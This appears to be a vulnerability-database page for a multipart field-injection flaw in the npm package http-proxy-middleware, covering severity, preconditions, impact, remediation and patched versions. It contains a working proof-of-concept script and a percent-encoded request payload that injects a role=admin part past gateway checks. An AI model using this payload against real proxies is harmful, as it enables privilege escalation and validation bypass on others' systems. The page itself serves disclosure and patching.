Severity by source
AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N
Network-reachable and unauthenticated against the proxy (AV:N/PR:N/UI:N); three stacked deployment preconditions justify AC:H; impact crosses proxy→backend trust boundary (S:C) with high integrity (field injection) and limited confidentiality.
Primary rating from Vendor (https://github.com/chimurai/http-proxy-middleware).
CVSS VectorVendor: https://github.com/chimurai/http-proxy-middleware
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N
Lifecycle Timeline
2DescriptionCVE.org
Summary
fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF:
// dist/handlers/fix-request-body.js
function handlerFormDataBodyData(contentType, data) {
const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
let str = '';
for (const [key, value] of Object.entries(data)) {
str += `--${boundary}\r\nContent-Disposition: form-data; name="${key}"\r\n\r\n${value}\r\n`;
}
}A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.
By contrast, the sibling output branches are safe: application/json uses JSON.stringify (escapes control chars) and application/x-www-form-urlencoded uses querystring.stringify (percent-encodes). Only the multipart branch lacks escaping.
Preconditions
All three must hold; this narrows real-world exposure and is the basis for AC:H:
- The proxy app populates
req.bodywith a non-multipart parser (express.urlencoded,express.json, or text) so an injected boundary in a value is not split on input. - The proxied (outgoing) request is sent as
multipart/form-data(e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs. - The app calls
fixRequestBody(the documented pattern for "I body-parsed, now re-stream"), and an attacker controls at least one body field value or key.
> Note: a pure multipart-in → multipart-out flow (e.g. multer) is generally not exploitable for a *new-field* injection, because the proxy's multipart parser already splits the injected boundary, so req.body and the backend agree. The desync specifically requires a non-multipart input parser.
Impact
When the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend:
- Validation / access-control bypass bypass gateway-side field checks (demonstrated below: a gateway that forbids
role=adminis bypassed; backend grants admin). - Parameter tampering add or overwrite fields the backend trusts (IDs, flags, prices).
- File-part injection inject a
filename="..."part into the upstream multipart stream.
Proof of Concept
// npm i http-proxy-middleware@4.0.0 (Node ESM: save as minimal.mjs)
import { fixRequestBody } from 'http-proxy-middleware';
// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.
// The attacker sent user=alice%0D%0A--BB%0D%0A... so this ONE field's value holds CRLF:
const req = { readableLength: 0, body: {
user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--'
}};
// Minimal stand-in for the outgoing proxy request; capture what gets written.
const out = [];
const proxyReq = {
h: { 'content-type': 'multipart/form-data; boundary=BB' },
getHeader(n){ return this.h[n.toLowerCase()]; },
setHeader(n,v){ this.h[n.toLowerCase()] = v; },
write(d){ out.push(Buffer.from(d)); },
};
fixRequestBody(proxyReq, req); // library rebuilds the multipart body
console.log(Buffer.concat(out).toString());Output: one input field becomes two parts; role=admin was injected via the unescaped CRLF:
--BB
Content-Disposition: form-data; name="user"
alice
--BB
Content-Disposition: form-data; name="role" <-- injected part; never present in req.body's keys
admin
--BB--req.body had a single key (user), so any gateway policy checking req.body.role passes, yet the backend's multipart parser receives role=admin. On the wire the attacker simply sends, as application/x-www-form-urlencoded: user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name="role"%0D%0A%0D%0Aadmin%0D%0A--BB--
Remediation
Neutralize CR/LF (and ") in keys/values before interpolation, or build the body with a real multipart encoder (e.g. FormData / form-data) instead of string concatenation. Minimal fix:
function handlerFormDataBodyData(contentType, data) {
const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
const bad = /[\r\n]/;
let str = '';
for (const [key, value] of Object.entries(data)) {
const v = String(value);
if (bad.test(key) || bad.test(v)) {
throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value');
}
str += `--${boundary}\r\nContent-Disposition: form-data; name="${key.replace(/"/g, '%22')}"\r\n\r\n${v}\r\n`;
}
}(Reject is preferable to silent stripping, to avoid masking malicious input.)
AnalysisAI
Multipart form-data field injection in the npm package http-proxy-middleware (versions 3.0.4-3.0.6 and 4.0.0-4.1.0) lets remote attackers smuggle additional form parts past gateway-side validation by embedding CRLF sequences in body values, causing the proxy and backend to parse different field sets. The flaw lives in fixRequestBody's handlerFormDataBodyData helper, which concatenates user-controlled keys and values directly into the multipart wire format without neutralizing \r\n. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Three concrete preconditions must all hold (this is the basis for AC:H): first, the proxy application must populate req.body using a non-multipart parser - express.json, express.urlencoded, or a text parser - so the attacker's embedded boundary survives intact through inbound parsing; second, the outgoing proxied request must be sent with Content-Type multipart/form-data, which routes execution into the vulnerable handlerFormDataBodyData branch (pure pass-through or JSON-out flows are unaffected); third, the integrator must explicitly call the fixRequestBody helper and the attacker must control at least one body field key or value. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | Vendor-issued CVSS 3.1 base score is 7.5 (High) with vector AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N - the network-reachable, unauthenticated attack and scope-changed high integrity impact justify a serious rating, but AC:H reflects three stacked deployment preconditions that meaningfully narrow real-world exposure. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An external attacker submits a normal application/x-www-form-urlencoded POST to a gateway proxy that body-parses with express.urlencoded and then forwards the request to an internal service as multipart/form-data via fixRequestBody. One field's value carries a percent-encoded CRLF plus a forged boundary and Content-Disposition for a role=admin part; the gateway's policy engine inspects req.body, sees only user=alice, and allows the request, but the backend's multipart parser splits the rebuilt body into two parts and grants admin privileges. … |
| Remediation | Vendor-released patch: upgrade to http-proxy-middleware 3.0.7 (3.x branch) or 4.1.1 (4.x branch) per advisory GHSA-gcq2-9pq2-cxqm. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: identify and inventory all deployments of http-proxy-middleware versions 3.0.4-3.0.6 or 4.0.0-4.1.0; prioritize production API gateways and customer-facing services. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat
The HTTP server in Node.js 0.10.x before 0.10.21 and 0.8.x before 0.8.26 allows remote attackers to cause a denial of se
Same technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-38349
GHSA-gcq2-9pq2-cxqm